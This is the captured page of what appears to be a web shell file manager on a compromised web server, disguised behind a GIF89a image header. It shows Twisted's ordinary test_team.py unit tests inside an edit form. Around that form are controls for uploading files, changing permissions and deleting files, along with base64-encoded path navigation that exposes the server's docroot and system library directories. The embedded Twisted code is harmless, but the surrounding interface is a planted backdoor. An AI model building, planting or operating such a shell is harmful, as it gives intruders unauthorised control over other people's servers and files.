GIF89a
?
??????


			





   !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~wnd[SJC;4.'"???!	???!Generated by onlineGIFtools.com?,????
?
????;
<hr>test_team.py<form method=post action="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3R3aXN0ZWQvX3RocmVhZHMvdGVzdA%3D%3D&f=dGVzdF90ZWFtLnB5"><input name="f" value="test_team.py"><textarea name="t"># Copyright (c) Twisted Matrix Laboratories.
# See LICENSE for details.

&quot;&quot;&quot;
Tests for L{twisted._threads._team}.
&quot;&quot;&quot;


from twisted.python.components import proxyForInterface
from twisted.python.context import call, get
from twisted.python.failure import Failure
from twisted.trial.unittest import SynchronousTestCase
from .. import AlreadyQuit, IWorker, Team, createMemoryWorker


class ContextualWorker(proxyForInterface(IWorker, &quot;_realWorker&quot;)):  # type: ignore[misc]
    &quot;&quot;&quot;
    A worker implementation that supplies a context.
    &quot;&quot;&quot;

    def __init__(self, realWorker, **ctx):
        &quot;&quot;&quot;
        Create with a real worker and a context.
        &quot;&quot;&quot;
        self._realWorker = realWorker
        self._context = ctx

    def do(self, work):
        &quot;&quot;&quot;
        Perform the given work with the context given to __init__.

        @param work: the work to pass on to the real worker.
        &quot;&quot;&quot;
        super().do(lambda: call(self._context, work))


class TeamTests(SynchronousTestCase):
    &quot;&quot;&quot;
    Tests for L{Team}
    &quot;&quot;&quot;

    def setUp(self):
        &quot;&quot;&quot;
        Set up a L{Team} with inspectable, synchronous workers that can be
        single-stepped.
        &quot;&quot;&quot;
        coordinator, self.coordinateOnce = createMemoryWorker()
        self.coordinator = ContextualWorker(coordinator, worker=&quot;coordinator&quot;)
        self.workerPerformers = []
        self.allWorkersEver = []
        self.allUnquitWorkers = []
        self.activePerformers = []
        self.noMoreWorkers = lambda: False

        def createWorker():
            if self.noMoreWorkers():
                return None
            worker, performer = createMemoryWorker()
            self.workerPerformers.append(performer)
            self.activePerformers.append(performer)
            cw = ContextualWorker(worker, worker=len(self.workerPerformers))
            self.allWorkersEver.append(cw)
            self.allUnquitWorkers.append(cw)
            realQuit = cw.quit

            def quitAndRemove():
                realQuit()
                self.allUnquitWorkers.remove(cw)
                self.activePerformers.remove(performer)

            cw.quit = quitAndRemove
            return cw

        self.failures = []

        def logException():
            self.failures.append(Failure())

        self.team = Team(coordinator, createWorker, logException)

    def coordinate(self):
        &quot;&quot;&quot;
        Perform all work currently scheduled in the coordinator.

        @return: whether any coordination work was performed; if the
            coordinator was idle when this was called, return L{False}
            (otherwise L{True}).
        @rtype: L{bool}
        &quot;&quot;&quot;
        did = False
        while self.coordinateOnce():
            did = True
        return did

    def performAllOutstandingWork(self):
        &quot;&quot;&quot;
        Perform all work on the coordinator and worker performers that needs to
        be done.
        &quot;&quot;&quot;
        continuing = True
        while continuing:
            continuing = self.coordinate()
            for performer in self.workerPerformers:
                if performer in self.activePerformers:
                    performer()
            continuing = continuing or self.coordinate()

    def test_doDoesWorkInWorker(self):
        &quot;&quot;&quot;
        L{Team.do} does the work in a worker created by the createWorker
        callable.
        &quot;&quot;&quot;

        def something():
            something.who = get(&quot;worker&quot;)

        self.team.do(something)
        self.coordinate()
        self.assertEqual(self.team.statistics().busyWorkerCount, 1)
        self.performAllOutstandingWork()
        self.assertEqual(something.who, 1)
        self.assertEqual(self.team.statistics().busyWorkerCount, 0)

    def test_initialStatistics(self):
        &quot;&quot;&quot;
        L{Team.statistics} returns an object with idleWorkerCount,
        busyWorkerCount, and backloggedWorkCount integer attributes.
        &quot;&quot;&quot;
        stats = self.team.statistics()
        self.assertEqual(stats.idleWorkerCount, 0)
        self.assertEqual(stats.busyWorkerCount, 0)
        self.assertEqual(stats.backloggedWorkCount, 0)

    def test_growCreatesIdleWorkers(self):
        &quot;&quot;&quot;
        L{Team.grow} increases the number of available idle workers.
        &quot;&quot;&quot;
        self.team.grow(5)
        self.performAllOutstandingWork()
        self.assertEqual(len(self.workerPerformers), 5)

    def test_growCreateLimit(self):
        &quot;&quot;&quot;
        L{Team.grow} increases the number of available idle workers until the
        C{createWorker} callable starts returning None.
        &quot;&quot;&quot;
        self.noMoreWorkers = lambda: len(self.allWorkersEver) &gt;= 3
        self.team.grow(5)
        self.performAllOutstandingWork()
        self.assertEqual(len(self.allWorkersEver), 3)
        self.assertEqual(self.team.statistics().idleWorkerCount, 3)

    def test_shrinkQuitsWorkers(self):
        &quot;&quot;&quot;
        L{Team.shrink} will quit the given number of workers.
        &quot;&quot;&quot;
        self.team.grow(5)
        self.performAllOutstandingWork()
        self.team.shrink(3)
        self.performAllOutstandingWork()
        self.assertEqual(len(self.allUnquitWorkers), 2)

    def test_shrinkToZero(self):
        &quot;&quot;&quot;
        L{Team.shrink} with no arguments will stop all outstanding workers.
        &quot;&quot;&quot;
        self.team.grow(10)
        self.performAllOutstandingWork()
        self.assertEqual(len(self.allUnquitWorkers), 10)
        self.team.shrink()
        self.assertEqual(len(self.allUnquitWorkers), 10)
        self.performAllOutstandingWork()
        self.assertEqual(len(self.allUnquitWorkers), 0)

    def test_moreWorkWhenNoWorkersAvailable(self):
        &quot;&quot;&quot;
        When no additional workers are available, the given work is backlogged,
        and then performed later when the work was.
        &quot;&quot;&quot;
        self.team.grow(3)
        self.coordinate()

        def something():
            something.times += 1

        something.times = 0
        self.assertEqual(self.team.statistics().idleWorkerCount, 3)
        for i in range(3):
            self.team.do(something)
        # Make progress on the coordinator but do _not_ actually complete the
        # work, yet.
        self.coordinate()
        self.assertEqual(self.team.statistics().idleWorkerCount, 0)
        self.noMoreWorkers = lambda: True
        self.team.do(something)
        self.coordinate()
        self.assertEqual(self.team.statistics().idleWorkerCount, 0)
        self.assertEqual(self.team.statistics().backloggedWorkCount, 1)
        self.performAllOutstandingWork()
        self.assertEqual(self.team.statistics().backloggedWorkCount, 0)
        self.assertEqual(something.times, 4)

    def test_exceptionInTask(self):
        &quot;&quot;&quot;
        When an exception is raised in a task passed to L{Team.do}, the
        C{logException} given to the L{Team} at construction is invoked in the
        exception context.
        &quot;&quot;&quot;
        self.team.do(lambda: 1 / 0)
        self.performAllOutstandingWork()
        self.assertEqual(len(self.failures), 1)
        self.assertEqual(self.failures[0].type, ZeroDivisionError)

    def test_quit(self):
        &quot;&quot;&quot;
        L{Team.quit} causes future invocations of L{Team.do} and L{Team.quit}
        to raise L{AlreadyQuit}.
        &quot;&quot;&quot;
        self.team.quit()
        self.assertRaises(AlreadyQuit, self.team.quit)
        self.assertRaises(AlreadyQuit, self.team.do, list)

    def test_quitQuits(self):
        &quot;&quot;&quot;
        L{Team.quit} causes all idle workers, as well as the coordinator
        worker, to quit.
        &quot;&quot;&quot;
        for x in range(10):
            self.team.do(list)
        self.performAllOutstandingWork()
        self.team.quit()
        self.performAllOutstandingWork()
        self.assertEqual(len(self.allUnquitWorkers), 0)
        self.assertRaises(AlreadyQuit, self.coordinator.quit)

    def test_quitQuitsLaterWhenBusy(self):
        &quot;&quot;&quot;
        L{Team.quit} causes all busy workers to be quit once they've finished
        the work they've been given.
        &quot;&quot;&quot;
        self.team.grow(10)
        for x in range(5):
            self.team.do(list)
        self.coordinate()
        self.team.quit()
        self.coordinate()
        self.assertEqual(len(self.allUnquitWorkers), 5)
        self.performAllOutstandingWork()
        self.assertEqual(len(self.allUnquitWorkers), 0)
        self.assertRaises(AlreadyQuit, self.coordinator.quit)

    def test_quitConcurrentWithWorkHappening(self):
        &quot;&quot;&quot;
        If work happens after L{Team.quit} sets its C{Quit} flag, but before
        any other work takes place, the L{Team} should still exit gracefully.
        &quot;&quot;&quot;
        self.team.do(list)
        originalSet = self.team._quit.set

        def performWorkConcurrently():
            originalSet()
            self.performAllOutstandingWork()

        self.team._quit.set = performWorkConcurrently
        self.team.quit()
        self.assertRaises(AlreadyQuit, self.team.quit)
        self.assertRaises(AlreadyQuit, self.team.do, list)

    def test_shrinkWhenBusy(self):
        &quot;&quot;&quot;
        L{Team.shrink} will wait for busy workers to finish being busy and then
        quit them.
        &quot;&quot;&quot;
        for x in range(10):
            self.team.do(list)
        self.coordinate()
        self.assertEqual(len(self.allUnquitWorkers), 10)
        # There should be 10 busy workers at this point.
        self.team.shrink(7)
        self.performAllOutstandingWork()
        self.assertEqual(len(self.allUnquitWorkers), 3)
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/lib/python3/dist-packages/twisted/_threads/test<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3R3aXN0ZWQvX3RocmVhZHMvdGVzdA=="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3R3aXN0ZWQvX3RocmVhZHMvdGVzdA==&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3R3aXN0ZWQvX3RocmVhZHM="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3R3aXN0ZWQvX3RocmVhZHMvdGVzdA==&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3R3aXN0ZWQvX3RocmVhZHMvdGVzdA==&x=X19pbml0X18ucHk=">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3R3aXN0ZWQvX3RocmVhZHMvdGVzdA==&f=X19pbml0X18ucHk="/>__init__.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3R3aXN0ZWQvX3RocmVhZHMvdGVzdA==&f=X19pbml0X18ucHk=&c=`+btoa(c):0" value="0644"></td><td>160</td></tr><tr><td></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3R3aXN0ZWQvX3RocmVhZHMvdGVzdC9fX3B5Y2FjaGVfXw=="/>__pycache__</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3R3aXN0ZWQvX3RocmVhZHMvdGVzdA==&f=X19weWNhY2hlX18=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3R3aXN0ZWQvX3RocmVhZHMvdGVzdA==&x=dGVzdF9jb252ZW5pZW5jZS5weQ==">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3R3aXN0ZWQvX3RocmVhZHMvdGVzdA==&f=dGVzdF9jb252ZW5pZW5jZS5weQ=="/>test_convenience.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3R3aXN0ZWQvX3RocmVhZHMvdGVzdA==&f=dGVzdF9jb252ZW5pZW5jZS5weQ==&c=`+btoa(c):0" value="0644"></td><td>1412</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3R3aXN0ZWQvX3RocmVhZHMvdGVzdA==&x=dGVzdF9tZW1vcnkucHk=">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3R3aXN0ZWQvX3RocmVhZHMvdGVzdA==&f=dGVzdF9tZW1vcnkucHk="/>test_memory.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3R3aXN0ZWQvX3RocmVhZHMvdGVzdA==&f=dGVzdF9tZW1vcnkucHk=&c=`+btoa(c):0" value="0644"></td><td>2115</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3R3aXN0ZWQvX3RocmVhZHMvdGVzdA==&x=dGVzdF90ZWFtLnB5">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3R3aXN0ZWQvX3RocmVhZHMvdGVzdA==&f=dGVzdF90ZWFtLnB5"/>test_team.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3R3aXN0ZWQvX3RocmVhZHMvdGVzdA==&f=dGVzdF90ZWFtLnB5&c=`+btoa(c):0" value="0644"></td><td>9463</td></tr><tr><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3R3aXN0ZWQvX3RocmVhZHMvdGVzdA==&x=dGVzdF90aHJlYWR3b3JrZXIucHk=">X</a></td><td><a href="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3R3aXN0ZWQvX3RocmVhZHMvdGVzdA==&f=dGVzdF90aHJlYWR3b3JrZXIucHk="/>test_threadworker.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3R3aXN0ZWQvX3RocmVhZHMvdGVzdA==&f=dGVzdF90aHJlYWR3b3JrZXIucHk=&c=`+btoa(c):0" value="0644"></td><td>7985</td></tr></table>